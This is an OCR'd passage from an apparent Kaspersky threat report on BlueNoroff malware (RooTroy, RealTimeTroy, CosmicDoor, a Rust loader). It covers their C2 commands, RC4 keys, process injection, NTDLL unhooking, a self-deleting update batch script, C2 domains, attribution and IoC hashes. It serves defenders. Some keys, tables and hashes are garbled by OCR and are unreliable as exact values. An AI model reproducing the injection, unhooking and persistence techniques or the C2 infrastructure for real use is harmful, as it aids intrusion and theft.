actions. It also executed init.vbs, the launcher that runs DownTroy, with elevated privileges.

RooTroy.Windows in Go

RooTroy.Windows is the first non-scripted malware installed on an infected host. It is a simple downloader written in
Go, same to the malware used in the GhostCall campaign. Based on our analysis of RooTroy’s behavior and
execution flow, it was loaded and executed by a Windows service named NetCheckSvc.

Although we did not obtain the command or installer used to register the NetCheckSvc service, we observed that
the installer had been downloaded from dataupload| . ]store via DownTroy and injected into the legitimate

cmd . exe process with the parameter -m yuggqm2ced6zb9zfzvu3quxtrz885cdoh. The installer then probably
created the file netchksvc.dll at C:\Windows\system32 and configured it to run as a service named
NetCheckSvc. Once netchksvc.dll was executed, it loaded RooTroy into memory, which allowed it to operate in
the memory of the legitimate svchost.exe process used to run services in Windows.

RooTroy.Windows initially retrieves configuration information from the file C:\Windows\system32\smss.dat. The
contents of this file are decrypted using RC4 with a hardcoded key:
B3CC15C1033DE79024F9CF3CD6A6A7A9B7ES54A1A57D3156036F5C05F541694B7. This key is different from
the one used in the macOS variant of this malware, but the same C2 URLs were used in the GhostCall campaign:
readysafe[.]xyz and safefor[.]xyz.

Then RooTroy.Windows creates a string object {"rt": "5.0.0"}, which is intended to represent the malware’s
version. This string is encrypted using RC4 with another hardcoded string,
C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4DO6DF24C572DF. It is the same as the key
used in RooTroy.macO0S, and it is stored at C: \ProgramData\Google\Chrome\version.dat.

Next, the malware collects device information, including lists of current, new and terminated processes, OS
information, boot time, and more, which are all structured in a JSON object. It then sends the collected data to the
C2 server using the POST method with the Content-Type: application/json header.

The response is parsed into a JSON object to extract additional information required for executing the actual
command. The commands are executed based on the value of the type field in the response, with each command
processing its corresponding parameters in the required object.

Value of type Description
0 Send current configuration to C2

39/50


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/27061938/bluenoroff-apt-campaigns34.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/27061938/bluenoroff-apt-campaigns34.png

1 Update received configuration with the configuration file (smss.dat)
2 Payload injection
3 Self-update

If the received value of type is 2 or 3, the responses include a common source field within the parsed data,
indicating where the additional payload originates. Depending on the value of source, the data field in the parsed
data contains either the file path where the payload is stored on the disk, the C2 server address from which it should
be downloaded, or the payload itself encoded in base64. Additionally, if the cipher field is set to true, the key field
is used as the RC4 decryption key.

Value of source Description Value of data

0 Read payload from a specific file File path

1 Fetch payload from another server C2 address

2 Delivered by the current JSON object base64-encoded payload

If the value of type is set to 2, the injection mode, referred to as peshooter in the code, is activated to execute an
additional payload into memory. This mode checks whether the payload sourced from the data field is encrypted by
examining the cipher value as a flag in the parsed data. If it is, the payload is decrypted with the RC4 algorithm. If
no key is provided in the key value, a hardcoded string,
A6C1A7CE43B029A1EF4AE69B26F745440ECCE8368C89F11AC999D4EDO4A31572, is used as the default key.

If the pid value is not specified (e.g., set to -1), the process with the name provided in the process field is
executed in suspended mode, with the optional argument value as its input. Additionally, if a sid value is provided
at runtime, a process with the corresponding session ID is created. If a pid value is explicitly given, the injection is
performed into that specific process.

Before performing the injection, the malware enables the SeDebugPrivilege privilege for process injection and
unhooks the loaded ntd11.d1l1 for the purpose of bypassing detection. This is a DLL unhooking technique that
dynamically loads and patches the . text section of ntd1l1.d1l1 to bypass the hooking of key functions by security

software to detect malicious behavior.
Once all the above preparations are completed, the malware finally injects the payload into the targeted process.

If the value of type is set to 3, self-update mode is activated. Similar to injection mode, it first checks whether the
payload sourced from the data is encrypted and, if so, decrypts it using RC4 with a hardcoded key:
B494A0AE421AFE170F6CBI9DE2C1193A78FBE16F627F85139676AFC5D9BFE93A2. A random 32-byte string is
then generated, and the payload is encrypted using RC4 with this string as the key. The encrypted payload is stored
in the file located at C: \Windows\system32\boot.sdl, while the generated random key is saved unencrypted in
C:\Windows\system32\wizard. sep. This means the loader will read the wizard.sep file to retrieve the RC4 key,

use it to decrypt the payload from boot.sdl, and then load it.

After successfully completing the update operation, the following commands are created under the filename
update-[random] .bat in the Sstemp% directory:

1 @echo off
2 set SERVICE_NAME=NetCheckSvc
3 sc stop %SERVICE_NAME% >nul 2>&1
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4 sc start %SERVICE_NAME% >nul 2>&1

5 start " cmd /c del "%~f0" >nul 2>&1

This batch script restarts a service called NetCheckSvc and self-deletes, which causes the loader

netchksvc.dl1l to be reloaded. In other words, the self-update mode updates RooTroy itself by modifying two files
mentioned above.

According to our telemetry, we observed that the payload called RealTimeTroy was fetched by RooTroy and injected
into cmd . exe process with the injected wss://signsafe[. 1xyz/update parameter.

RealTimeTroy in Go

The backdoor requires at least two arguments: a simple string and a C2 server address. Before connecting to the
given C2 server, the first argument is encrypted using the RC4 algorithm with the key
9939065709AD8489E589D52003D707CBD33AC81DC78BC742AA6E3E811BA344C and then base64 encoded. In
the observed instance, this encoded value is passed to the “p” (payload) field in the request packet.

The entire request packet is additionally encrypted using RC4 algorithm with the key
4451EE8BC53EA7(C148D8348BC7B82ACA9977BDD31CO156DFE25C4A879A1D2190. RealTimeTroy then sends
this encrypted message to the C2 server to continue communication and receive commands from the C2.

Then the malware receives a response from the C2. The value of “e” (event) within the response should be 5, and

the value of “p” is decoded using base64 and then decrypted using RC4 with the key
71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0OESD, which is deserialized in

JSON. The command is extracted from the “c” (command) field in the JSON object, and the malware performs
specific actions according to the command.

Command Description Parameter from C2
1 Get list of subfiles Directory path

2 Wipe file File path

3 Read file File path

4 Read directory Directory path

5 Get directory information Directory path

6 Get process information —

7 Terminate process Process ID

8 Execute command Command line

10 Write file File path, content

11 Change work directory  Directory path

12 Get device information -

13 Get local drives -

14 Delete file File path

15 Cancel command

16 File download Data for file download

19 Process injection Data for process injection
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Upon receiving the file download command (16), the d (data) field in the response contains a JSON object. If the u
(url) field is initialized, a connection is established to the specified URL using the m (method) and h (headers) fields
provided in the same JSON object. If the connection returns a 200 status code (success), the response body is
written to the file path indicated by the r (rpath) value in the response.

While the u value is not initialized, the malware writes the value of the b (buffer) field from the response to the path
provided through the r field. It continues writing b until the e (eof) flag is set and then sends the xxHash of the total
downloaded contents to the C2 server. This allows for the downloading of the larger file contents from the C2 server.

When receiving the process injection command (19), the d in the response includes another JSON object. If the 1
(local) flag within this object is set to true, a t (total) amount of data is read from b starting at the f (from) position
specified in the object. The xxHash value of b is then validated to ensure it matches the provided h (hash) value. If
the 1 flag is false, b is instead read from the file path specified as fp (file path). The payload is then injected into
cmd . exe with the same method as the peshooter used in RooTroy.

The result is then serialized and secured with a combination of RC4 encryption and base64 encoding before being
sent to the C2 server. The key used for encryption,
71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0OES8D, is the same key used to
decrypt the response object.

CosmicDoor.Windows written in Go

CosmicDoor.Windows is the Windows version of CosmicDoor written in Go and has the same features as macOS
versions. The C2 server address wss://second.systemupdate[.]cloud/client is hardcoded in the
malware. It processes a total of seven commands, passed from the C2.

Command Description Parameter from C2

234 Get device information -

333 No operation Unknown

44 Update configuration Interval time, UID, C2 server address
78 Get current work directory -

1 Get interval time -

12 Execute commands OR code injection Command line

34 Set current work directory Directory path

The command 234 is for collecting device information such as user name, computer name, OS, architecture,
Windows version, and boot time.

The command 12 serves two primary functions. The first is to execute a command line passed as a parameter using
cmd.exe /c, while the second is to perform code injection. This injection capability is nearly identical to the
peshooter functionality found in RooTroy, but it is considered an enhanced version.

Within CosmicDoor, the peshooter feature can accept up to six parameters using the shoot or shoote command to
configure code injection options. If a file path is provided in the PATH parameter, the next payload is read from that
file on the system. Conversely, if a string beginning with http is specified, the next payload is retrieved through
HTTP communication instead.

Num Parameter Description
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1 shoot or shoote The next payload is either plain or base64-encoded

2 SID Session ID to be used when executing notepad.exe

3 PID Process ID of the targeted process to be injected

4 REASON If set to -1, ARGS is passed to the injected payload

5 PATH Read payload from local file or fetch it from external server
6 ARGS Parameters to be passed

7 FUNC Export function name to execute

Then it checks the SID, PID, and REASON parameters. If PID is not passed, CosmicDoor defaults to creating
notepad.exe in suspended mode and assigns it a target for injection, and the SID determines the session ID that
runs notepad.exe. If no SID is passed, it defaults to the token of the current process. REASON means to pass
ARGS to the payload by default if no value greater than 0 is passed.

Finally, CosmicDoor allocates space inside of the targeted process’s memory space for the payload, the hardcoded
shellcode for the loader, and ARGS to write the data, and then invokes the loader code to execute the final payload
from memory. If FUNC is set at this point, it calls the corresponding export function of the loaded payload. This
usage is also well displayed inside CosmicDoor.

-_—

"ERROR: Invalid syntax.\n"

"Examples:\n"

"\tshoot [SID] [PID] [REASON] [PATH] [ARGS] [FUNC]\n"
"Parameter List:\n"

"\t[SID] Session ID.\n"

"\t[PID] Process ID.\n"

"\{{REASON] reason.\n"

"\t{{PATH] the path of PE file.\n"

© o0 N o O A W DN

"\{{ARGS] the arguments of PE file.\n"

10 "W[FUNC] Export function of PE file.\n";

Bof loader written in Rust

Bof loader is assumed to be one of the payloads downloaded from dataupload|[.]store by DownTroy. Itis a
loader protected by Themida and written in Rust. The malware was created with the name nlsport.dl1l, and
unlike other malware, it is registered with security support providers and loaded with SYSTEM privileges by the
LSASS process at Windows boot time. In this instance, the malicious behavior is implemented in the
SpLsaModeInitialize export function inside the DLL file and it contains the string that indicates its work path
C:\Users\Molly.

The loader employs the NTDLL unhooking technique, a method also used by other malware families. After
unhooking, the loader reads two files. The first one contains an RC4 key, while the second holds a payload
encrypted with that key.
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e RC4 key: C:\Windows\system32\wand.bin
e Encrypted payload: C:\Windows\system32\front.sdl.

The loader then decrypts the payload, allocates memory in the current process, and executes the decrypted
shellcode via the NtCreateThreadEx function. This is very similar to the injection feature implemented within
RooTroy, written in Golang.

During our focused monitoring of the threat actor’s infrastructure, we discovered that one of the instances was
signed with a valid certificate from a legitimate Indian company.

Victims

Our telemetry detected infection events from various countries affected by both campaigns. We have observed
several infected macOS hosts located in Japan, Italy, France, Singapore, Turkey, Spain, Sweden, India and Hong
Kong infected by the GhostCall campaign since 2023. The victims of the GhostHire campaign, which resumed its
activities starting this year, have been identified as individuals in Japan and Australia.

We observed that many stolen videos and profile images have been uploaded to the actor’s public storage server.
These were utilized to convince victims in the course of the GhostCall campaign. We closely examined the uploaded
data and found that most victims were executives at tech companies and venture capital funds in the
Web3/blockchain industry located in the APAC region, particularly in Singapore and Hong Kong.

Attribution

In 2022, we already uncovered the PowerShell script that BlueNoroff heavily relied on to collect base system
information and execute commands from its C2 server. This script is considered to be an earlier version of
DownTroy. Moreover, leveraging trusted resources attributed to venture capital funds to attack the cryptocurrency-
related industry was a primary attack method of the SnatchCrypto campaign. Additionally, the tendency to create
phishing domains using the names of venture capital firms and the use of Hostwinds hosting to build these phishing
sites also overlaps with past cases of BlueNoroff observed in our previous research.

In late-2023, we provided an insight into the early stage of the BlueNoroff's GhostCall campaign to our customers.
The actor utilized JavaScript and AppleScript to raise an issue regarding IP access control on Windows and macOS
respectively. In this instance, the JavaScript ultimately downloaded a VBScript file, which has been identified as a
VBScript version of DownTroy. This version shares a C2 server with CosmicDoor.Windows. The AppleScript was
used against a victim in August 2023, and fetched from a fake domain support.video-meeting[.Jonline, which shared
its resolved IP address (104.168.214[.]151) with the ObjCShellZ malware’s C2 server swissborg[.]blog.

We assess with medium-high confidence that BlueNoroff is behind both campaigns when comprehensively
considering the infrastructure, malware, attack methods, final targets, and motives behind the attacks used in both
campaigns.

Conclusion
Our research indicates a sustained effort by the actor to develop malware targeting both Windows and macOS

systems, orchestrated through a unified command-and-control infrastructure. The use of generative Al has
significantly accelerated this process, enabling more efficient malware development with reduced operational
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overhead. Notably, Al will make it easier to introduce new programming languages and add new features, thereby
complicating detection and analysis tasks. Furthermore, Al supports the actor’s ability to maintain and expand their
infrastructure, enhancing their overall productivity.

Beyond technical capabilities, the actor leverages Al to refine sophisticated social engineering tactics. The Al-
powered, tailored approach enables the attackers to convincingly disguise themselves, operating with detailed
information, allowing for more meticulous targeted attacks. By combining compromised data with Al’'s analytical and
productive capabilities, the actor’s attack success rate has demonstrably increased.

The actor’s targeting strategy has evolved beyond simple cryptocurrency and browser credential theft. Upon gaining
access, they conduct comprehensive data acquisition across a range of assets, including infrastructure,
collaboration tools, note-taking applications, development environments, and communication platforms
(messengers). This harvested data is exploited not only against the initial target but also to facilitate subsequent
attacks, enabling the actor to execute supply chain attacks and leverage established trust relationships to impact a
broader range of users.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts:

HEUR:Trojan.VBS.Agent.gen UDS:Trojan.PowerShell.SBadur.gen HEUR:Trojan.VBS.Cobalt.gen
. Trojan- . , .
Trojan.VBS.Runner Downloader PowerShell. Powedon Trojan.Win64.Kryptik
Backdoor.PowerShell.Agent HEUR:Backdoor.OSX.OSA HEUR:Backdoor.OSX.Agent
. . HEUR:Trojan-

Backdor.Shell.Agent Trojan.Win32.BlueNoroff.| Spy.0SX.ZoomClutch.a

_— , . HEUR:Trojan-
HEUR:Trojan.OSX.Nimcore.a HEUR:Backdoor.OSX.RooTroy.a Downloader OSX Bluenoroff.a

HEUR:Trojan-

HEUR:Backdoor.OSX.CosmicDoor.a HEUR:Trojan.OSX.Nukesped.*

Dropper.OSX.Gillylnjector.a

HEUR:Trojan- . _—
Downloader. OSX Bluenoroff.b HEUR:Backdoor.Python.Agent.or = HEUR:Trojan.HTML.Bluenoroff.a
HEUR:Trojan.OSX.BlueNoroff.gen  Trojan.Python.BlueNoroff.a Trojan.Shell. Agent.gn

Indicators of compromise

More loCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact:
intelreports@kaspersky.com.

AppleScript

€33f942cf1479ca8530a916868bad954 zoom_sdk_support.scpt
963f473f1734d8b3fbb8c9a227c06d07 test1
60bfe4f378e9f5a84183ac505a032228 MSTeamsUpdate.scpt

ZoomClutch
7f94ed2d5f566¢c12de5ebe4b5e3d8aa3 zoom

TeamsClutch
389447013870120775556bb4519dba97 Microsoft Teams
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DownTroy v1 chain

50f341b24cb75f37d042d1e5f9e3eb5aa
a26f2b97ca4e2b4b5d58933900f02131
6422795a6df10c45¢1006f92d686ee7e

CosmicDoor in Rust
931cec3c80c78d233e3602a042a2e71b
c42c7a2ea1c2f00dddb0cc4c8bfb5bcf

CosmicDoor in Python
9551b4af789b2db563f9452eaf46bbaa

CosmicDoor chain
76ace3a6892c25512b17ed42ac2ebd05
19a7e16332a6860065e694411f3c5001

SilentSiphon
c446682f33641cff21083ac2ce477dbe
e8680d17fbab425e4a9bb552fb8db2b1
10cd1ef394bc2a2d8d8f2558b73ac7b8
a070b77c¢5028d7a5d2895f1c9d35016f
38c8d80dd32d00e9c9440a498f7dd739
7168ce5c6e5545a5b389db09c90038da
261a409946b6b4d9ce706242a76134e3
31b88dd319af8e4b8a96fc9732ebc708

RooTroy chain
1ee10fa01587cec51f455ceec779a160
3bbe4dfe3134c8a7928d10c948e20bee
7581854ff6c890684823f3aed03c210f
01d3ed1c228f09d8e56bfbc5f5622a6¢

RealTimeTroy chain
5cb4f0084f3c25e640952753ed5b25d0

SneakMain in Rust
1243968876262c3ad4250e1371447b23
5ad40a5fd18a1b57b69c44bc2963dc6b
6348b49f3499d760797247b94385fda3

SneakMain chain
17baae144d383e4dc32f1bf69700e587
8f8942cd14f646f59729f83cbd4c357b
0af11f610da1f691e43173d44643283f
com.onedrive.updater
7e50c¢3f301dd045eb189ba1644ded155

trustd
watchdog, SafariUpdate
633835385.txt

dnschk
dnschk

netchk

upl

upl.sh

upl.sh

cpl.sh

secrets.sh
uad.sh
ubd.sh

utd.sh

rtv4inst

st, Update Check
wit
remoted

Chrome Update

helper, wt
633835387 .txt
ChromeUpdate

mdworker
com.password.startup
CloudSigner, Microsoft Excel, Hancom Office HWP, zoom.us,
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